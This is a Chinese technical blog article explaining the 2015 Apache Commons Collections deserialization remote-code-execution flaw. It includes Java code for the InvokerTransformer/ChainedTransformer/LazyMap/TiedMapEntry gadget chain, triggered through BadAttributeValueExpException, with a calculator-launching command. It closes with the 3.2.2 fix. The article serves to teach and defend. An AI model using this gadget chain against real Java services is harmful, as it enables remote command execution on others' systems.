原来不只是fastjson,这个你每天都在用的类库也被爆过反序列化漏洞!

安全 应用安全
在《fastjson到底做错了什么?为什么会被频繁爆出漏洞?》文章中,我从技术角度分析过为什么fastjson会被频繁爆出一些安全漏洞,然后有人在评论区发表"说到底就是fastjson烂…"等言论,一般遇到这种评论我都是不想理的。

 [[333788]]

在《fastjson到底做错了什么?为什么会被频繁爆出漏洞?》文章中,我从技术角度分析过为什么fastjson会被频繁爆出一些安全漏洞,然后有人在评论区发表"说到底就是fastjson烂…"等言论,一般遇到这种评论我都是不想理的。

但是事后想想,这个事情还是要单独说一下,因为这种想法很危险。

一旦这位读者有一天当上了领导,那么如果他负责的项目发生了漏洞,他还是站出来说"都怪XXX代码写的烂…",这其实是非常可怕的。

工作久了的话,就会慢慢有种感觉:代码都是人写的,是人写的代码就可能存在漏洞,这个是永远都无法避免的,任何牛X的程序员都不可能写出完全没有bug的代码!

其实关于序列化的安全性问题,无论是Java原生的序列化技术还是很多其他的开源序列化工具,都曾经发生过。

序列化的安全性,一直都是比较大的一个话题,我无意为fastjson辩驳,但是出问题之后直接喷代码写的烂,其实是有点不负责任的。

Apache-Commons-Collections这个框架,相信每一个Java程序员都不陌生,这是一个非常著名的开源框架。

但是,他其实也曾经被爆出过序列化安全漏洞,而漏洞的表现和fastjson一样,都是可以被远程执行命令。

背景

Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

Commons Collections的最新版是4.4,但是使用比较广泛的还是3.x的版本。其实,在3.2.1以下版本中,存在一个比较大的安全漏洞,可以被利用来进行远程命令执行。

这个漏洞在2015年第一次被披露出来,但是业内一直称称这个漏洞为"2015年最被低估的漏洞"。

因为这个类库的使用实在是太广泛了,首当其中的就是很多Java Web Server,这个漏洞在当时横扫了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。

之后,Gabriel Lawrence和Chris Frohoff两位大神在《Marshalling Pickles how deserializing objects can ruin your day》中提出如何利用Apache Commons Collection实现任意代码执行。

问题复现

这个问题主要会发生在Apache Commons Collections的3.2.1以下版本,本次使用3.1版本进行测试,JDK版本为Java 8。

利用Transformer攻击

Commons Collections中提供了一个Transformer接口,主要是可以用来进行类型转换的,这个接口有一个实现类是和我们今天要介绍的漏洞有关的,那就是InvokerTransformer。

InvokerTransformer提供了一个transform方法,该方法核心代码只有3行,主要作用就是通过反射对传入的对象进行实例化,然后执行其iMethodName方法。

利用Transformer攻击

Commons Collections中提供了一个Transformer接口,主要是可以用来进行类型转换的,这个接口有一个实现类是和我们今天要介绍的漏洞有关的,那就是InvokerTransformer。InvokerTransformer提供了一个transform方法,该方法核心代码只有3行,主要作用就是通过反射对传入的对象进行实例化,然后执行其iMethodName方法。

而需要调用的iMethodName和需要使用的参数iArgs其实都是InvokerTransformer类在实例化时设定进来的,这个类的构造函数如下:


也就是说,使用这个类,理论上可以执行任何方法。那么,我们就可以利用这个类在Java中执行外部命令。

我们知道,想要在Java中执行外部命令,需要使用Runtime.getRuntime().exec(cmd)的形式,那么,我们就想办法通过以上工具类实现这个功能。

首先,通过InvokerTransformer的构造函数设置好我们要执行的方法以及参数:

  1. Transformer transformer = new InvokerTransformer("exec"
  2.  
  3.         new Class[] {String.class}, 
  4.  
  5.         new Object[] {"open /Applications/Calculator.app"}); 

通过,构造函数,我们设定方法名为exec,执行的命令为open /Applications/Calculator.app,即打开mac电脑上面的计算器(windows下命令:C:\\Windows\\System32\\calc.exe)。

然后,通过InvokerTransformer实现对Runtime类的实例化:

  1. transformer.transform(Runtime.getRuntime()); 

运行程序后,会执行外部命令,打开电脑上的计算机程序:

至此,我们知道可以利用InvokerTransformer来调用外部命令了,那是不是只需要把一个我们自定义的InvokerTransformer序列化成字符串,然后再反序列化,接口实现远程命令执行:


先将transformer对象序列化到文件中,再从文件中读取出来,并且执行其transform方法,就实现了攻击。

 

你以为这就完了?

但是,如果事情只有这么简单的话,那这个漏洞应该早就被发现了。想要真的实现攻击,那么还有几件事要做。

因为,newTransformer.transform(Runtime.getRuntime());这样的代码,不会有人真的在代码中写的。

如果没有了这行代码,还能实现执行外部命令么?

这就要利用到Commons Collections中提供了另一个工具那就是ChainedTransformer,这个类是Transformer的实现类。

 

ChainedTransformer类提供了一个transform方法,他的功能遍历他的iTransformers数组,然后依次调用其transform方法,并且每次都返回一个对象,并且这个对象可以作为下一次调用的参数。

那么,我们可以利用这个特性,来自己实现和transformer.transform(Runtime.getRuntime());同样的功能:

  1.  Transformer[] transformers = new Transformer[] { 
  2.  
  3.     //通过内置的ConstantTransformer来获取Runtime类 
  4.  
  5.     new ConstantTransformer(Runtime.class), 
  6.  
  7.     //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法 
  8.  
  9.     new InvokerTransformer("getMethod"
  10.  
  11.         new Class[] {String.class, Class[].class }, 
  12.  
  13.         new Object[] {"getRuntime", new Class[0] }), 
  14.  
  15.     //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象 
  16.  
  17.     new InvokerTransformer("invoke"
  18.  
  19.         new Class[] {Object.class, Object[].class }, 
  20.  
  21.         new Object[] {null, new Object[0] }), 
  22.  
  23.     //反射调用exec方法 
  24.  
  25.     new InvokerTransformer("exec"
  26.  
  27.         new Class[] {String.class }, 
  28.  
  29.         new Object[] {"open /Applications/Calculator.app"}) 
  30.  
  31. }; 
  32.  
  33.  
  34.  
  35. Transformer transformerChain = new ChainedTransformer(transformers); 

在拿到一个transformerChain之后,直接调用他的transform方法,传入任何参数都可以,执行之后,也可以实现打开本地计算器程序的功能:

那么,结合序列化,现在的攻击更加进了一步,不再需要一定要传入newTransformer.transform(Runtime.getRuntime());这样的代码了,只要代码中有transformer.transform()方法的调用即可,无论里面是什么参数:

 

攻击者不会满足于此

但是,一般也不会有程序员会在代码中写这样的代码。那么,攻击手段就需要更进一步,真正做到"不需要程序员配合"。于是,攻击者们发现了在Commons Collections中提供了一个LazyMap类,这个类的get会调用transform方法。(Commons Collections还真的是懂得黑客想什么呀。)

那么,现在的攻击方向就是想办法调用到LazyMap的get方法,并且把其中的factory设置成我们的序列化对象就行了。

顺藤摸瓜,可以找到Commons Collections中的TiedMapEntry类的getValue方法会调用到LazyMap的get方法,而TiedMapEntry类的getValue又会被其中的toString()方法调用到。

  1. public String toString() { 
  2.  
  3.     return getKey() + "=" + getValue(); 
  4.  
  5.  
  6.  
  7.  
  8. public Object getValue() { 
  9.  
  10.     return map.get(key); 
  11.  

那么,现在的攻击门槛就更低了一些,只要我们自己构造一个TiedMapEntry,并且将他进行序列化,这样,只要有人拿到这个序列化之后的对象,调用他的toString方法的时候,就会自动触发bug。

Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map lazyMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

我们知道,toString会在很多时候被隐式调用,如输出的时候(System.out.println(ois.readObject());),代码示例如下:

现在,黑客只需要把自己构造的TiedMapEntry的序列化后的内容上传给应用程序,应用程序在反序列化之后,如果调用了toString就会被攻击。

 

只要反序列化,就会被攻击

那么,有没有什么办法,让代码只要对我们准备好的内容进行反序列化就会遭到攻击呢?

倒还真的被发现了,只要满足以下条件就行了:

那就是在某个类的readObject会调用到上面我们提到的LazyMap或者TiedMapEntry的相关方法就行了。因为Java反序列化的时候,会调用对象的readObject方法。

通过深入挖掘,黑客们找到了BadAttributeValueExpException、AnnotationInvocationHandler等类。这里拿BadAttributeValueExpException举例

 

BadAttributeValueExpException类是Java中提供的一个异常类,他的readObject方法直接调用了toString方法:

那么,攻击者只需要想办法把TiedMapEntry的对象赋值给代码中的valObj就行了。通过阅读源码,我们发现,只要给BadAttributeValueExpException类中的成员变量val设置成一个TiedMapEntry类型的对象就行了。这就简单了,通过反射就能实现:

  1. Transformer transformerChain = new ChainedTransformer(transformers); 
  2.  
  3.  
  4.  
  5. Map innerMap = new HashMap(); 
  6.  
  7. Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 
  8.  
  9. TiedMapEntry entry = new TiedMapEntry(lazyMap, "key"); 
  10.  
  11.  
  12.  
  13. BadAttributeValueExpException poc = new BadAttributeValueExpException(null); 
  14.  
  15.  
  16.  
  17. // val是私有变量,所以利用下面方法进行赋值 
  18.  
  19. Field valfield = poc.getClass().getDeclaredField("val"); 
  20.  
  21. valfield.setAccessible(true); 
  22.  
  23. valfield.set(poc, entry); 

于是,这时候,攻击就非常简单了,只需要把BadAttributeValueExpException对象序列化成字符串,只要这个字符串内容被反序列化,那么就会被攻击。

 

问题解决

以上,我们复现了这个Apache Commons Collections类库带来的一个和反序列化有关的远程代码执行漏洞。

通过这个漏洞的分析,我们可以发现,只要有一个地方代码写的不够严谨,就可能会被攻击者利用。

 

因为这个漏洞影响范围很大,所以在被爆出来之后就被修复掉了,开发者只需要将Apache Commons Collections类库升级到3.2.2版本,即可避免这个漏洞。

3.2.2版本对一些不安全的Java类的序列化支持增加了开关,默认为关闭状态。涉及的类包括

  1. CloneTransformer 
  2.  
  3. ForClosure 
  4.  
  5. InstantiateFactory 
  6.  
  7. InstantiateTransformer 
  8.  
  9. InvokerTransformer 
  10.  
  11. PrototypeCloneFactory 
  12.  
  13. PrototypeSerializationFactory, 
  14.  
  15. WhileClosure 

如在InvokerTransformer类中,自己实现了和序列化有关的writeObject()和 readObject()方法:

在两个方法中,进行了序列化安全的相关校验,校验实现代码如下:

在序列化及反序列化过程中,会检查对于一些不安全类的序列化支持是否是被禁用的,如果是禁用的,那么就会抛出UnsupportedOperationException,通过org.apache.commons.collections.enableUnsafeSerialization设置这个特性的开关。

 

将Apache Commons Collections升级到3.2.2以后,执行文中示例代码,将报错如下:

  1. Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources. 
  2.  
  3.     at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183) 
  4.  
  5.     at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155) 

后话

本文介绍了Apache Commons Collections的历史版本中的一个反序列化漏洞。

如果你阅读本文之后,能够有以下思考,那么本文的目的就达到了:

1、代码都是人写的,有bug都是可以理解的

2、公共的基础类库,一定要重点考虑安全性问题

3、在使用公共类库的时候,要时刻关注其安全情况,一旦有漏洞爆出,要马上升级

 

4、安全领域深不见底,攻击者总能抽丝剥茧,一点点bug都可能被利用

参考资料:

https://commons.apache.org/proper/commons-collections/release_3_2_2.html

https://p0sec.net/index.php/archives/121/

https://www.freebuf.com/vuls/175252.html

https://kingx.me/commons-collections-java-deserialization.html

 

责任编辑:武晓燕 来源: 51CTO专栏
相关推荐

2016-09-21 00:15:27

2014-04-18 09:16:37

2018-07-06 10:56:24

2015-11-24 10:05:07

私有云虚拟化负载迁移

2021-10-20 07:18:50

Java 序列化漏洞

2022-08-06 08:41:18

序列化反序列化Hessian

2015-02-04 09:45:40

2011-06-01 15:05:02

序列化反序列化

2017-03-25 21:13:38

JavaScript排序

2018-03-19 10:20:23

Java序列化反序列化

2010-08-05 09:29:08

jQuery

2018-11-12 13:53:07

组件化架构路由

2013-04-25 13:58:15

编程

2009-08-24 17:14:08

C#序列化

2011-04-28 20:21:44

和信创天终端管理虚拟终端管理系统

2017-05-04 09:30:29

2009-06-14 22:01:27

Java对象序列化反序列化

2015-08-17 15:35:42

2015-05-08 12:41:36

C++序列化反序列化库Kapok

2023-02-14 06:40:33

React HookReact
点赞
收藏

51CTO技术栈公众号